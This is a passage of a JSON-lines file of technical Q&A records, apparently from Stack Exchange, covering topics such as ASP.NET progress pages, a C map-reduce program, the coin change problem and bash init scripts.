{  "id": "_webapps.102509"  , "question": "Meetup.com is useful, but it never forgets anything, even when I tell it to.If I mark down an interest and then later remove it, or if I join a group and then leave it, or even if I just look at the group's page too often, Meetup will use that data over and over again to make totally useless suggestions for meetups that I will never actually go to, either because I don't want to go to meetups for that interest, or because I'm not eligible to join the group.Is there any way to stop Meetup.com from suggesting a specific group, or from using a specific interest wastefully to suggest groups?"  , "title": "How can I stop getting suggestions for a specific group?"  , "tags": "meetup"  } 
{  "id": "_codereview.15510"  , "question": "Now this is something I've looked into, and while I have a working solution, I don't like it.Background:Through our intranet website, we want to run a process that copies a file from another machine, unzips it, and then analyzes the content.  As the file is large, this takes some time (usually around 5-6 minutes).  Rather than have the user just hit a Button and pray that they get a success message in 5-6 minutes, we want to show the progress via updates to a TextBox.What I've learned so far:This isn't as simple as putting everything into an UpdatePanel and updating it at various steps in the process.  Seems like it would be, but it's not.  I looked into threading as well, but I couldn't get it working.  That is to say, I got the process to run on a separate thread, but while it was running, the interface wouldn't update.  It would queue up everything, and then display it all at once, once the process finished.  As I'm still relatively new, the possibility that I was just doing something wrong is high.What I have (which works, I guess...):Two .aspx pages, DatabaseChecker.aspx and Processing.aspxDatabaseChecker.aspx:<form id=form1 runat=server>        <asp:Button ID=btnExecute runat=server onclick=btnExecute_Click             style=height: 26px Text=Execute />    <iframe src=Processing.aspx name=sample width=100% height=700px style=border-style: none; overflow: hidden;>    </iframe></form>Processing.aspx:<meta http-equiv=refresh content=1 /><form id=form1 runat=server>    <asp:TextBox ID=TextBox1 runat=server Height=633px TextMode=MultiLine         Width=504px></asp:TextBox></form>The .aspx portion is very simple.  DatabaseChecker.aspx simply has a button to begin the process, and it has Processing embedded as an iframe.The result looks like this:The TextBox1 in Processing.aspx is where the progress update goes.Now let me just point out the dirty trick and the part I don't like right now.  In Processing.aspx, there is a meta tag to refresh the page once per second.How it works (summary):When the process starts, a Session variable called [Running] is set to true.  When the process ends, Session[Running] is set to false.  And since Processing.aspx refreshes once per second, what happens is it saves the current contents of TextBox1.Text to another Session variable called [TextBoxContent].  And then the Page_Load method for Processing.aspx fills the TextBox back up with the previous content, and adds a period.So the output will begin simply looking like Process Starting, but after 10 seconds it will look like Process Starting.......... (one period per second).How it works (details):The process begins in DatabaseChecker.aspx's Execute button:protected void btnExecute_Click(object sender, EventArgs e){    Session[TextBoxContents] = Copying .zip file from other machine...;    Session[Running] = true;    Thread thread = new Thread(new ThreadStart(TheProcess));    thread.IsBackground = true;    thread.Start();}private void TheProcess(){    CopyFromOtherMachine();    UnzipFiles();    ConvertTextFilesToDataTables();    //and so on and so forth    Session[Running] = false;}private void CopyFromOtherMachine(){        if (File.Exists(Path.Combine(FileRootDirectory, DesiredFileName)))        {            Session[TextBoxContent] += Previous .zip file already detected.  Deleting...;            File.Delete(Path.Combine(FileRootDirectory, DesiredFileName));            Session[TextBoxContent] += OK! + Environment.NewLine;        }        Session[TextBoxContent] += Copying .zip from other machine...;        File.Copy(@\\\\someothermachine\\production\\desiredfile.zip, Path.Combine(FileRootDirectory, DesiredFileName));        Session[TextBoxContent] += OK! + Environment.NewLine;}// UnzipFile()// ConvertTextFilesToDataTables()// and so onAnd then we have Processing.aspx's Page_Load method, which is where we display our progress:protected void Page_Load(object sender, EventArgs e){    if (Session[TextBoxContent] != null)    {        TextBox1.Text = Session[TextBoxContent].ToString();        if ((bool)Session[Running] != false)        {            Session[TextBoxContent] += .;        }    }}What I want to improve:Basically, everything.  This whole thing feels like a really makeshift house of cards.  In particular, I don't like that the page has to update once per second, particularly because the Windows mouse icon changes to loading and not loading cursors very fast.  If the user knows the system and knows what's going on, then yeah big deal I guess, we can just deal with it because we know what's going on.  But I think to the average user, the behavior is jarring, it feels like something might be wrong or something.Hopefully I've made it clear what I'm trying to achieve overall, so I'm open to other ideas about how to go about it."  , "title": "Making a page update based on the progress of a process"  , "tags": "c#;asp.net"  , "accepted_answer": "Have you considered using SignalR?As their homepage states, it's a library for ASP.NET developers that makes it incredibly simple to add real-time web functionality to your applications. What is real-time web functionality? It's the ability to have your server-side code push content to the connected clients as it happens, in real-time."  } 
{  "id": "_unix.67054"  , "question": "I' ve just bought new RAM and I'd like to benchmark and compare with my old. How can I do that?"  , "title": "How to benchmark RAM memory with a Linux Distro?"  , "tags": "ram;benchmark"  , "accepted_answer": "The package hardinfo (http://sourceforge.net/projects/hardinfo.berlios/) is a pretty decent system benchmarker with a nice GUI. The simplest way to compare the two would be to benchmark one save the results and then compare it to your benchmarking of the other.EDITDepending on your distro, you may already have hardinfo installed, for example on Lubuntu it is called System Profiler and Benchmark."  } 
{  "id": "_cs.65190"  , "question": "I'm just getting started with cs. In school I heard about that modern micro processor are not perfect. So what are the issues? Are does problems related to energy(power draw)/ time /speed(clock speed)? Or is the design faulty?So if you could design the perfect cpu what would it look like? "  , "title": "What are the design issue with today's micro processor"  , "tags": "computer architecture;cpu"  , "accepted_answer": "There are inherent tradeoffs in targeting a given use. An implementation optimized for one workload, power budget, and cost (at a particular volume of sales) will necessarily be less than optimal for some other use.Binary compatibility places another constraint on optimization. An ISA which is a good/easy compiler target and which is not strongly tied to a particular set of implementation techniques and technologies will be less than optimal for a given implementation technology (i.e., some optimizations are hindered by the abstraction presented in the ISA) and will sacrifice some benefits in performance, energy-efficiency, etc. for these other goals.(Redesigning the ISA for every implementation is not a solution, even when using an intermediate-level software distribution format to provide compatibility. The cost and delay of ISA design (including developing an optimizing compiler for the software distribution format) constrains how extensively changes can be made to optimize for particular targets. Even microarchitectures are typically extensively reused because of development costs, including time to market and risk.)Time to market also constrains optimization. High performance designs targeting new manufacturing processes begin work years before the process characteristics are defined. (This also applies to application targets. Algorithms and use patterns change.) There is also a limited amount of design effort that can be reasonably applied. Even if the value of optimizations could justify the development costs, worse but available products can establish market momentum."  } 
{  "id": "_bioinformatics.81"  , "question": "I have a FASTA file with 100+ sequences like this:>Sequence1GTGCCTATTGCTACTAAAA ...>Sequence2GCAATGCAAGGAAGTGATGGCGGAAATAGCGTTA......I also have a text file like this:Sequence1 40Sequence2 30......I would like to simulate next-generation paired-end reads for all the sequences in my FASTA file. For Sequence1, I would like to simulate at 40x coverage. For Sequence2, I would like to simulate at 30x coverage. In other words, I want to control my sequence coverage for each sequence in my simulation.Q: What is the simplest way to do that? Any software I should use? Bioconductor?"  , "title": "How to simulate NGS reads, controlling sequence coverage?"  , "tags": "fasta;ngs;simulated data"  , "accepted_answer": "I am not aware of any software that can do this directly, but I would split the fasta file into one sequence per file, loop over them in BASH and invoke ART the sequence simulator (or another) on each sequence."  } 
{  "id": "_datascience.16961"  , "question": "I'm having trouble finding a good reward function for the pendulum problem, the function I'm using: $-x^2 - 0.25*(\\text{xdot}^2)$which is the quadratic error from the top. with $x$ representing the current location of the pendulum and $\\text{xdot}$ the angular velocity.It takes a lot of time with this function and sometimes doesn't work.Any one have some other suggestions?I've been looking in google but didn't find anything i could use"  , "title": "Reinforcement learning, pendulum python"  , "tags": "reinforcement learning"  , "accepted_answer": "You could use the same reward function that Openai's Inverted Pendulum is using:$costs=-(\\Delta_{2\\pi}\\theta)^2 - 0.1(\\dot{\\theta})^2 - 0.001u^2$where $(\\Delta_{2\\pi}\\theta)$ is the difference between current and desired angular position performed using modulo $2\\pi$. The variable $u$ denotes the torque (the action of your RL agent). The optimal is to be as close to zero costs as it gets.The idea here is that you have a control problem in which you can come up with a quadratic 'energy' or cost function that tells you the cost of performing an action at EVERY single time step. In this paper (p.33 section 5.2) you can find a detailed description.I have tested RL algorithms in this objective function and I did not encounter any problems for convergence in both MATLAB and Python. If you still have problems let us know what kind of RL approach you implemented and how you encoded the location of the pendulum.Hope it helps!"  } 
{  "id": "_unix.10785"  , "question": "Possible Duplicate:Arch Linux not booting after system update After running a system update, in which the kernel was updated, when I try to boot Arch (in single user, not quiet), I get the message bin/sh cant access tty and I get dropped at a prompt, but I can't type. I am dual-booting with OS X, if that makes a difference."  , "title": "Arch Linux not functional after kernel upate"  , "tags": "kernel;arch linux;boot;dual boot;tty"  } 
{  "id": "_webmaster.33945"  , "question": "After a recent upgrade to parallels plesk 11, we decided to start using their web presence builder tool. However, every video, (documentation and instructional) I have viewied shows the link should just be under websites and domains, or even on the homepage. It is in neither location. I have verified it is both installed and up-to-date, under server -> updates and upgradesAny idea how I access the web presence builder?"  , "title": "parallels plesk 11 missing web presence builder"  , "tags": "plesk"  , "accepted_answer": "for other's reference, the site builder link is hidden if your license does not support the power pack (godaddy, may be named different under different providers). You can view your license by going to server -> license managementsimply look for websites by web presence builder, if the value is limited to 0, you need to talk to your provider. Godaddy's upgrade was 6.99/mo"  } 
{  "id": "_webmaster.59825"  , "question": "I want to configure a domain such that when the user goes to my website, the system identifies the IP country of user and auto changes www.mysite.com/index.aspx to www.unitedstate.mysite.com (for US People)www.france.mysite.com (for French People)www.japan.mysite.com (for Japanese People)I want to develop my website globally, changing the language and currency by identifying the country of user visiting the website based on the IP address.Can I do it?  I'm using IIS on a private ASP.net Windows Server."  , "title": "How to implement country domains based on geo IP address in ASP.net?"  , "tags": "subdomain;url rewriting;iis;users;geotargeting"  } 
{  "id": "_softwareengineering.352668"  , "question": "Is there any reason not to build JSON data that can be indexed by some key?  For example in the WhenIWork API below, using the user's id to quickly access the data?  The reason I'm asking is because it seems that for a lot of uses on the client side you could easily index into the array then and grab the data you need vs. looping through the JSON array looking for a specific id.  But a lot of APIs do not do this (2 of those examples below).WhenIWork API -- Users{  users: [    {      id: 4364,      login_id: 2112,      first_name: Goldie,      last_name: Wilson,    },    {      id: 27384,      login_id: 2112,      email: jen.parker@example.com,      first_name: Jennifer,      last_name: Parker,    }  ]}GitHub API -- Events[  {    type: Event,    public: true,    payload: {    },    repo: {      id: 3,      name: octocat/Hello-World,      url: https://api.github.com/repos/octocat/Hello-World    },    actor: {      id: 1,      login: octocat,      gravatar_id: ,      avatar_url: https://github.com/images/error/octocat_happy.gif,      url: https://api.github.com/users/octocat    },    org: {      id: 1,      login: github,      gravatar_id: ,      url: https://api.github.com/orgs/github,      avatar_url: https://github.com/images/error/octocat_happy.gif    },    created_at: 2011-09-06T17:26:27Z,    id: 12345  }]In my specific case I have a users portion of the API which gives me data similar to the code above.  Then by going to users/availability I can get all the availability for users.  But right now I have to loop through all the data looking for specific IDs.{  [    {      user_id:41,      date:2017-07-01,      status:Unavailable    },    {      user_id:41,      date:2017-07-02,      status:Available},,  [    {      user_id:47,      date:2017-07-01,      status:Available    },    {      user_id:47,      date:2017-07-02,      status:Leave\\/TDY    }  ]}"  , "title": "JSON data with a key/index for easy searching"  , "tags": "php;json"  , "accepted_answer": "I think the reason most API's represent those data structures with arrays instead of objects is because arrays inherently support iteration, but objects don't. For example, to iterate over the keys in an JSON object in JavaScript, you must inspect the object's properties (but avoid certain properties) using Object.keys or something similar. Iteration is more natural if arrays are used, and an index can be built very simply by iterating over the array once.arr.reduce((index, item) => Object.extend({}, index, {[item.id]: item}), {})Another reason an API might use an array over an object is that it reflects the format that data is fetched from persistance. In every database I've used results are always represented collection (e.g. SQL query rows), not a map, so it's natural to carry that structure to the interface layer without changing it. Further collections work regardless of whether there is a unique key or not, but maps work best with a unique key.Finally--arrays are an ordered type. If the order of results has meaning (like events in a timeline), then returning a map wouldn't be very useful because the order of properties in JSON is not intended to be maintained."  } 
{  "id": "_unix.343688"  , "question": "I decided to install Linux as I feed up with getting notification from windows that tell me to get my software licence.It is not the one reason why I move to Linux but it is another topic.Anyway,I installed Kali Linux 2016.1 and I have some issues with sounds which is so noisy,squeaky sound.Later ,I decided to upgrade to 2016.02.But thats not solve the problem,still same problem with voice.How can I fix this problem.My Linux distro :Kali Linux 2016.2 32  bit,i386arch.My hardware: Acer LaptopSound driver :I guess it is pulseaudio.The output of the lsmod|grep snd is like this.snd_hda_codec_hdmi     40960  1 snd_hda_codec_realtek    65536  1  snd_hda_codec_generic    65536  1 snd_hda_codec_realtek snd_hda_intel   28672  3 snd_hda_codec          94208  4  snd_hda_intel,snd_hda_codec_hdmi,snd_hda_codec_generic,snd_hda_codec_realtek  snd_hda_core           57344  5  snd_hda_intel,snd_hda_codec,snd_hda_codec_hdmi,snd_hda_codec_generic,snd_hda_codec_realtek  snd_hwdep              16384  1 snd_hda_codec snd_pcm  86016  4 snd_hda_intel,snd_hda_codec,snd_hda_core,snd_hda_codec_hdmi  snd_timer              28672  1 snd_pcm snd                    57344   14  snd_hda_intel,snd_hwdep,snd_hda_codec,snd_timer,snd_hda_codec_hdmi,snd_hda_codec_generic,snd_hda_codec_realtek,snd_pcm  soundcore              16384  1 sndand the command of lspci -v | grep -A7 -i audiois:00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio  Controller (rev 03)   Subsystem: Acer Incorporated [ALI] 82801I (ICH9  Family) HD Audio Controller   Flags: bus master, fast devsel, latency  0, IRQ 29     Memory at 96700000 (64-bit, non-prefetchable) [size=16K]    Capabilities:    Kernel driver in use: snd_hda_intel    Kernel modules: snd_hda_intel00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express  Port 1 (rev 03) (prog-if 00 [Normal decode])"  , "title": "Kali Linux 2016.2 sound problem"  , "tags": "drivers;kali linux;audio"  } 
{  "id": "_unix.318455"  , "question": "I have an Ubuntu Linux server machine.It boots up fine and gets it's network configuration up and running perfectly fine.What I want to do, is somehow grab the network configuration and save it, and somehow reload that exact same network configuration.  Specifically ip address and netmask, router/gateway and any static routes.The reasons are obscure and probably not so relevant.Is there a way to do this? To grab an existing network config and re-run it?UPDATE RESPONSE TO COMMENT:OK to explain why I have such a strange request:What I am doing is executing a new operating system from within an existing operating system.  The new operating system needs to implement the exact same network setup - i.e. router/gateway and ip address/netmask.  The network information is not available via DHCP or any other mechanism - it gets injected into the first operating system when it boots.  That means I need to pass the networking information from the first OS into the second OS, from which point I need to instruct the second OS to configure itself with the network information that was passed in.  That's the context, although I suspect that explaining it will confuse the issue."  , "title": "How to store network configuration and reload?"  , "tags": "networking"  } 
{  "id": "_cs.16160"  , "question": "I was wondering how to remove duplicate values from a linked list in $\\mathcal{O}(n\\lg n)$ time. I have an idea that by using merge sort when we want to compare elements for choosing the small one, if they are equal advance on pointer and just consider one element. Any alternatives?"  , "title": "How to purge a linked list in $\\mathcal{O}(n\\log n)$ time?"  , "tags": "sorting;linked lists"  , "accepted_answer": "Sort the linked list in $O(n \\log n)$ time. Go through each element of the list in their order and remove the element, if it is the same as the previous one in $O(n)$ time.The total complexity is $O(n \\log n)$, which is what you are searching for."  } 
{  "id": "_codereview.86048"  , "question": "I wrote a map reduce program which uses multi threads, bounded buffers, condition variables. It works perfectly for some types of inputs. In the program there are N mappers, R reducers, 1 merger. mappers get data from input files, put each string in files to corresponding buffer-X-Y. reducers read from those buffers, sort the strings, and put each sorted sequence to buffer-Y. merger merges given sequences and writes to an output file.How I run:make;valgrind --tool=memcheck --leak-check=yes ./program 1 5 file o 10File content:Take me down to the paradise city Where the grass is green and the girls are pretty Take me home (oh won't you please take me home) Take me down to the paradise city Where the grass is green and the girls are pretty Take me home (oh won't you please take me home)If you make that file content a a bb bb it gives different output.Is there any way I can improve it?#include <errno.h>#include <stdio.h>#include <stdlib.h>#include <pthread.h>#include <sys/types.h>#include <unistd.h>#include <string.h>#define FILE_NAME_SIZE 20#define WORD_LENGTH 286// a bit extra to carry \\t(occurance)struct arg {    int index;    char *file_name;};struct listNode {    char *data;    struct listNode *next;    int occurrence;};int N;int R;char output_file[WORD_LENGTH];int bufsize;/*  there are n*r buffers between mappers-reducers. 3d array.    r buffers between reducers-merger. should be 2d array but    buffer[N] is allocated for second type of buffers. */char ****buffer;// buffer[i][j][0]=fill, buffer[i][j][1]=use, // buffer[i][j][2]=count, buffer[i][j][3]=to be inserted in totalint ***buffer_info;pthread_mutex_t **mutex;pthread_cond_t **c_fill;pthread_cond_t **c_empty;void put(int i, int j, char *value) {    strcpy(buffer[i][j][(buffer_info[i][j][0])], value);    buffer_info[i][j][0] = (buffer_info[i][j][0] + 1) % bufsize;    buffer_info[i][j][2]++;    printf(put into buffer[%d][%d] '%s'\\n, i, j, value);}char* get(int i, int j) {    char* tmp = buffer[i][j][(buffer_info[i][j][1])];    buffer_info[i][j][1] = (buffer_info[i][j][1] + 1) % bufsize;    buffer_info[i][j][2]--;    printf(-get '%s' from buffer[%d][%d]\\n, tmp, i, j);    return tmp;}void insert (struct listNode **ptr, char *value) {    struct listNode *newPtr;    int cmp;    // find a place to instert node to LL    while(*ptr){        // Comparision to detect & remove duplicates nodes        cmp = strcmp(value, (*ptr)->data);        // duplicate        if(cmp == 0){            (*ptr)->occurrence++;            return;         }        // the point where i need to add the node        if(cmp < 0)             break;        ptr = &(*ptr)->next;    }    // now here *ptr points to the pointer that i want to change    // it can be NULL, if we are at the end of the LL    newPtr = malloc(sizeof *newPtr);    if(!newPtr)        return;    newPtr->data = strdup(value);    newPtr->occurrence = 1;    if(newPtr->data == NULL){        free(newPtr);        return;         }    // here we are connecting our brand new node to the LL    newPtr->next = *ptr;    *ptr = newPtr;}static void *merger(){    FILE *file;    char temp[WORD_LENGTH];    char temp2[WORD_LENGTH+30];    int occurrence=0;    int i;    char *tok;    // once we have the element that comes first we will put write it to file.    file = fopen(output_file, w);    if (file == NULL) {        printf(Error opening file!\\n);        exit(1);    }    // first element (according to asc order) in each file will be here    // we will use this array to find the next string to write to output    char child_heads[R][WORD_LENGTH];    int child_heads2[R];    // when there is no string left in a temp, we will    // describe it here. value 1 means we are done.    int child_done[R];    for(i = 0; i<R; i++){        child_done[i] = 0;        // printf(buffer_info[%d][%d][3]: %d\\n, N, i, buffer_info[N][i][3]);        if(buffer_info[N][i][3] != 0){            pthread_mutex_lock(&mutex[N][i]);             while (buffer_info[N][i][2] == 0)                 pthread_cond_wait(&c_fill[N][i], &mutex[N][i]);             strcpy(temp2, get(N, i));            buffer_info[N][i][3]--;            pthread_cond_signal(&c_empty[N][i]);             pthread_mutex_unlock(&mutex[N][i]);             tok = strtok(temp2, \\t);            strcpy(temp, tok);            while((tok = strtok(NULL, \\t)))                occurrence=atoi(tok);            strcpy(child_heads[i], temp);            child_heads2[i] = occurrence;                       } else {            child_done[i] = 1;        }        // printf(%d.%d\\n, i, child_done[i]);    }    int done;    int min_i = -1;    while(1){        min_i = -1;        done = 1;        // comparisons are not started, we assign the first available        // item as the minimum for comparisons.        if(min_i == -1){            for(i=0; i<R; i++){                if(child_done[i]==0){                    min_i = i;                    break;                }                           }        }        for(i=0; i<R; i++){            if(child_done[i]==0 && strcmp(child_heads[i],child_heads[min_i])<0){                min_i = i;            }            // if all data in all files are read stop the outer loop            if(child_done[i] == 0){                done = 0;                           }        }        if(done == 1){            break;        }        // write the element into the file        fprintf(file, %s\\t%d\\n, child_heads[min_i], child_heads2[min_i]);        // so we used the string that comes first in heads,         // now we'll update that element's place in heads array.        if(buffer_info[N][min_i][3] != 0){            pthread_mutex_lock(&mutex[N][min_i]);             while (buffer_info[N][min_i][2] == 0)                 pthread_cond_wait(&c_fill[N][min_i], &mutex[N][min_i]);             strcpy(temp2, get(N, min_i));            buffer_info[N][min_i][3]--;            pthread_cond_signal(&c_empty[N][min_i]);             pthread_mutex_unlock(&mutex[N][min_i]);             tok = strtok(temp2, \\t);            strcpy(temp, tok);            while((tok = strtok(NULL, \\t)))                occurrence=atoi(tok);            strcpy(child_heads[min_i], temp);            child_heads2[min_i] = occurrence;         } else {            // there is no element coming from the temp            child_done[min_i] = 1;                  }    }    // close temp files    fclose(file);    pthread_exit(NULL);}static void *reducer(void *arg){    int index=*((int*)arg);    // printf(--- reducer %d here!\\n, index);    char temp[WORD_LENGTH];    char temp2[WORD_LENGTH+30];    strcpy(temp, );    strcpy(temp2, );    int j, k;    struct listNode *head = NULL;    // read from buffer    for(j=0; j<N; j++){        for(k=0; k<buffer_info[j][index][3]; k++){            pthread_mutex_lock(&mutex[j][index]);             while (buffer_info[j][index][2] == 0)                 pthread_cond_wait(&c_fill[j][index], &mutex[j][index]);             strcpy(temp, get(j, index));            pthread_cond_signal(&c_empty[j][index]);             pthread_mutex_unlock(&mutex[j][index]);             insert(&head, temp);            }    }    // this buffer must carry a sorted sequence.    // when there is no items left to send, then merger must be notified    // how to know when there is no items left to send?    // her buffer[i][j] iin     // write to buffer    struct listNode *ptr = head;    while (ptr){        sprintf(temp2, %s\\t%d, ptr->data, ptr->occurrence);        // write word to a buf.        pthread_mutex_lock(&mutex[N][index]);         while (buffer_info[N][index][2] == bufsize)             pthread_cond_wait(&c_empty[N][index], &mutex[N][index]);         // see buffer definition to understand why (N) is here        put(N, index, temp2);        buffer_info[N][index][3]++;        pthread_cond_signal(&c_fill[N][index]);         pthread_mutex_unlock(&mutex[N][index]);         // printf(Reducer %d - %d.%s\\t%d\\n, index, i, ptr->data, ptr->occurrence);        ptr = ptr->next;    }    // deallocations    while (head){        ptr = head;        head = head->next;        free(ptr->data);        free(ptr);    }    pthread_exit(NULL);}static void *mapper(void *arg_ptr){    // printf(mapper %s here!\\n, ((struct arg *) arg_ptr)->file_name);    int bytes;    int j, i;    i = ((struct arg *) arg_ptr)->index;    // read input file    char temp[WORD_LENGTH];    FILE *file;    file = fopen(((struct arg *) arg_ptr)->file_name, r);    if (file == NULL) {        printf(Error opening file: %s\\n, ((struct arg *) arg_ptr)->file_name);        return NULL;    }     // scan the next %s from stream and put it to temp    while(fscanf(file, %s, temp) > 0){        bytes = 0;         int k;        for(k=0; k<strlen(temp)+1; k++){            bytes += temp[k];        }        j = bytes % R;        // write word to a buf.        pthread_mutex_lock(&mutex[i][j]);         while (buffer_info[i][j][2] == bufsize)             pthread_cond_wait(&c_empty[i][j], &mutex[i][j]);         put(i, j, temp);        buffer_info[i][j][3]++;        pthread_cond_signal(&c_fill[i][j]);         pthread_mutex_unlock(&mutex[i][j]);         // good luck understanding :)     }    fclose(file);    pthread_exit(NULL);}int main(int argc, char *argv[]) {    printf(_______________________________________\\n);    int i, j, k, ret;    // program inputs: <N> <R> <infile1>  <infileN> <finalfile> <bufsize>    N = atoi(argv[1]); // atoi = ascii to int    R = atoi(argv[2]);    char input_files[N][WORD_LENGTH];    for(i=0; i<N; i++){        strcpy(input_files[i], argv[3+i]);    }    strcpy(output_file, argv[3+N]);    bufsize = atoi(argv[4+N]);    if(bufsize>10000 || bufsize < 10 || N > 20 || N < 1 || R > 10 || R < 1){        printf(Input is out of range!\\n);        return 0;    }    // create buffer    buffer = (char* ***)malloc((N+1) * sizeof(char* **));    for(i = 0; i < (N+1); i++){        buffer[i] = (char* **)malloc(R * sizeof(char* *));        for(j = 0; j < R; j++){            buffer[i][j] = (char* *)malloc(bufsize * sizeof(char*));            for(k = 0; k < bufsize; k++){                buffer[i][j][k] = (char*)malloc(WORD_LENGTH * sizeof(char));            }        }    }    // buffer info. see decleration for explaination    buffer_info = (int* **)malloc((N+1) * sizeof(int* *));    for(i = 0; i < (N+1); i++){        buffer_info[i] = (int* *)malloc(R * sizeof(int*));        for(j = 0; j < R; j++){            buffer_info[i][j] = (int* )malloc(4 * sizeof(int));            for(k = 0; k < 4; k++){                buffer_info[i][j][k] = 0;            }        }    }    // create mutex    mutex = (pthread_mutex_t* *)malloc((N+1) * sizeof(pthread_mutex_t*));    for(i = 0; i < (N+1); i++){        mutex[i] = (pthread_mutex_t*)malloc(R * sizeof(pthread_mutex_t));        for(j = 0; j < R; j++){            mutex[i][j] = (pthread_mutex_t) PTHREAD_MUTEX_INITIALIZER;        }    }    // create cond vars    c_empty = (pthread_cond_t* *)malloc((N+1) * sizeof(pthread_cond_t*));    for(i = 0; i < (N+1); i++){        c_empty[i] = (pthread_cond_t*)malloc(R * sizeof(pthread_cond_t));        for(j = 0; j < R; j++){            c_empty[i][j] = (pthread_cond_t) PTHREAD_COND_INITIALIZER;        }    }    c_fill = (pthread_cond_t* *)malloc((N+1) * sizeof(pthread_cond_t*));    for(i = 0; i < (N+1); i++){        c_fill[i] = (pthread_cond_t*)malloc(R * sizeof(pthread_cond_t));        for(j = 0; j < R; j++){            c_fill[i][j] = (pthread_cond_t) PTHREAD_COND_INITIALIZER;        }    }    // create mapper threads    pthread_t tids[N];    struct arg args[N];    for(i=0; i<N; i++){        args[i].index = i;        args[i].file_name = input_files[i];        ret = pthread_create(&(tids[i]), NULL, &mapper, (void *) &args[i]);        if (ret != 0) {            return 0;        }    }    for(i=0; i<N; i++){        ret = pthread_join(tids[i], NULL);          if (ret != 0) {            printf(thread join failed \\n);            return 0;        }    }    // create reducer threads    pthread_t tids_r[R];    int args_r[R];    for(i=0; i<R; i++){        // either pass the addresses of array elements, or allocate new memory         // in each iteration and pass the address. otherwise, we have memory problems.        args_r[i] = i;        ret = pthread_create(&(tids_r[i]), NULL, &reducer, (void *) &args_r[i]);        if (ret != 0) {            printf(thread create failed \\n);            return 0;        }    }    for(i=0; i<R; i++){        ret = pthread_join(tids_r[i], NULL);            if (ret != 0) {            printf(thread join failed \\n);            return 0;        }    }    // create merger thread    pthread_t tid;    ret = pthread_create(&tid, NULL, &merger, NULL);    if (ret != 0) {        printf(thread create failed \\n);        return 0;    }       ret = pthread_join(tid, NULL);       if (ret != 0) {        printf(thread join failed \\n);        return 0;    }    // freeing    for(i = 0; i < (N+1); i++){        for(j = 0; j < R; j++){            for(k = 0; k < bufsize; k++){                free(buffer[i][j][k]);            }            free(buffer[i][j]);            free(buffer_info[i][j]);        }        free(buffer[i]);        free(buffer_info[i]);        free(mutex[i]);        free(c_empty[i]);        free(c_fill[i]);    }    free(buffer);    free(buffer_info);    free(mutex);    free(c_empty);    free(c_fill);    return 0;}"  , "title": "Mergesort using map-reduce, multithreads, buffers and condition variables"  , "tags": "c;multithreading;memory management;mergesort;mapreduce"  } 
{  "id": "_cs.6552"  , "question": "Given a set of coins with different denominations $c1, ... , cn$ and a value v you want to find the least number of coins needed to represent the value v.E.g. for the coinset 1,5,10,20 this gives 2 coins for the sum 6 and 6 coins for the sum 19. My main question is: when can a greedy strategy be used to solve this problem?Bonus points: Is this statement plain incorrect? (From: How to tell if greedy algorithm suffices for the minimum coin change problem?)However, this paper has a proof that if the greedy algorithm works for the first largest denom + second largest denom values, then it works for them all, and it suggests just using the greedy algorithm vs the optimal DP algorithm to check it.  http://www.cs.cornell.edu/~kozen/papers/change.pdfPs. note that the answers in that thread are incredibly crummy- that is why I asked the question anew."  , "title": "When can a greedy algorithm solve the coin change problem?"  , "tags": "algorithms;combinatorics;greedy algorithms"  , "accepted_answer": "A coin system is canonical if the number of coins given in change by the greedy algorithm is optimal for all amounts. The paper D. Pearson. A Polynomial-time Algorithm for the Change-Making Problem. Operations Reseach Letters, 33(3):231-234, 2005 offers an $O(n^3)$ algorithm for deciding whether a coin system is canonical, where $n$ is the number of different kinds of coins. From the abstract:We then derive a set of $O(n^2)$ possible values which must contain the smallest counterexample. Each can be tested with $O(n)$ arithmetic operations, giving us an $O(n^3)$ algorithm.The paper is quite short.For a non-canonical coin system, there is an amount $c$ for which the greedy algorithm produces a suboptimal number of coins; $c$ is called a counterexample.  A coin system is tight if its smallest counterexample is larger than the largest single coin.The paper Canonical Coin Systems for Change-MakingProblems provides necessary and sufficient conditions for coin systems of up to five coins to be canonical, and an $O(n^2)$ algorithm for deciding whether a tight coin system of $n$ coins is canonical.There is also some discussion in this se.math question."  } 
{  "id": "_unix.365774"  , "question": "What exactly do all the fields mean with the gnu time program invoked with /usr/bin/time -v pipeline?Command being timed: xmllint config/locations/test1.xmlUser time (seconds): 0.00System time (seconds): 0.00Percent of CPU this job got: 50%Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.00Average shared text size (kbytes): 0Average unshared data size (kbytes): 0Average stack size (kbytes): 0Average total size (kbytes): 0Maximum resident set size (kbytes): 3160Average resident set size (kbytes): 0Major (requiring I/O) page faults: 0Minor (reclaiming a frame) page faults: 139Voluntary context switches: 1Involuntary context switches: 2Swaps: 0File system inputs: 0File system outputs: 0Socket messages sent: 0Socket messages received: 0Signals delivered: 0Page size (bytes): 4096Exit status: 0I've searched and searched but found on details on a lot of the fields like file system inputs and outputs."  , "title": "GNU Time Field Expanation"  , "tags": "time"  } 
{  "id": "_unix.293163"  , "question": "Running Ubuntu 12.04.I have a script that sets up the environment, its run by /etc/bash.bashrc. (It may be set to run by other shell profiles inits, I didn't actually set it up myself)When I Ctr+Alt+T to open a terminal, the script runs once. But if I SSH into my machine from another box, the /etc/bash.bashrc init script runs, but then it also gets run again, and I'm not sure why.Other users experience the same 'double' initialize. It's not necessarily a problem, but I would really like to isolate the issue for academic reasons.I added an echo into /etc/bash.bashrc to let me know when it's executing. I see the echo the first time, but not the second time, leading me to believe something else is executing the script, I just can't figure out what it is. I checked ~/.profile, ~/.bashrc, and ~/etc/profileI should emphasize that this behavior only happens when a user SSHes into the machine. I know there is some difference between interactive/login/non-login shells, but I'm not quite clear on the matter yet..."  , "title": "Initilization script runs twice on SSH"  , "tags": "bash;shell script;shell;profile"  , "accepted_answer": "To figure out what's invoking that environment setup script, you need to add tracing commands in that script, not in the one place where you know it's used.There's no portable way to report the stack of shell script inclusions. In bash, you can see that through the BASH_SOURCE variable. Dash keeps sourced scripts open while running them, so listing the open files should give you a good idea. Since bash is the default interactive shell and dash is the default scripting shell, this should cover most cases.if [ -n $BASH_SOURCE ]; then  eval 'echo ${BASH_SOURCE[@]}'else  readlink /proc/$$/fd/[4-9] 2>/dev/nullfi(${BASH_SOURCE[@]} is protected behind eval because it's a syntax error in sh.)Note that .bashrc or /etc/bash.bashrc is the wrong place for environment variables. It's only run by interactive non-login instances of bash in particular it isn't executed for SSH logins. If /etc/bash.bashrc is executed for an SSH login then it means that another script (typically ~/.bash_profile) sources it. The right place for site-specific environment variables is a script in /etc/profile.d/ or 